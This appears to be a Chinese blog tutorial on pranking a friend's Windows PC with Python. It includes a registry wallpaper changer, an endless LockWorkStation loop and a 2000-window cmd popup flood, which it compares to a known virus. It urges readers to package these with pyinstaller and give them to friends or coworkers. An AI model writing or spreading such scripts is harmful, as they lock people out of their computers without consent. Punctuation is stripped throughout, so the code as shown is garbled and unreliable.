Python无限恶搞朋友电脑,别提有多爽了,哈哈,打造自己的壁纸修改器,电脑无限锁屏,无线弹窗,都在这里!!! 修改电脑桌面壁纸工具使用开发环境:python3。7,Windows10使用工具包:win32api,win32con,win32gui,os,randomwin32的工具下载命令:pipinstallpywin32项目解析思路 桌面数据信息是保存在注册表上的内容,数据保存在第二项的ControlPanelDesktop子项里就可以了。 通过win32api打开注册表选择配置的对应子项生成对应句柄kwin32api。RegOpenKeyEx(win32con。HKEYCURRENTUSER,ControlPanelDesktop,0,win32con。KEYSETVALUE) 将桌面样式调整拉伸模式2拉伸壁纸0壁纸居中6适应10填充 准备好需要修改的图片壁纸(壁纸数据通过爬虫技术进行采集) win32gui提交数据将桌面修改成自己准备的桌面壁纸win32gui。SystemParametersInfo(win32con。SPISETDESKWALLPAPER,imgpath,win32con。SPIFSENDWININICHANGE)源码分享importwin32api调用Windows底层的接口配置pipinstallpywin32importwin32con修改数据importwin32gui提交对应的数据importosPython管理文件工具包importrandom取出对应的随机值importtime时间管理模块defsetwallpaper():pathos。listdir(r图片文件夹)foriinpath:imgpathr图片文件夹iprint(imgpath)打开注册表句柄kwin32api。RegOpenKeyEx(win32con。HKEYCURRENTUSER,ControlPanelDesktop,0,win32con。KEYSETVALUE)2拉伸壁纸0壁纸居中6适应10填充win32api。RegSetValueEx(k,WallpaperStyle,0,win32con。REGSZ,2)win32gui。SystemParametersInfo(win32con。SPISETDESKWALLPAPER,imgpath,win32con。SPIFSENDWININICHANGE)time。sleep(10)setwallpaper()电脑无限锁屏工具使用 开发环境:python3。7,Windows10 使用工具包:ctypesctypes ctypesctypes是Python的外部函数库。它提供了与C兼容的数据类型,并允许调用DLL或共享库中的函数。可使用该模块以纯Python形式对这些库进行封装。通过操作系统底层的user32。dll实现锁屏效果 deflockwindows():whileTrue:userwindll。LoadLibrary(user32。dll)user。LockWorkStation()lockwindows() 代码以提供各位大佬可自行尝试 打包的方法:pyinstallerpyinstallerF你的文件名 打包之后可给你朋友同事尝试一下(为了朋友同事间的友谊最好加个延时操作)无限弹窗 之前大家应该都了解过熊猫烧香(类似,如果有相识跟我没有关系)通过os模块执行打开cmd窗口页面(确保是环境变量里有的选项)foriinrange(2000):os。system(startcmd)电脑配置低的请勿轻易尝试win关闭页面命令:starttaskkillfimcmd。exet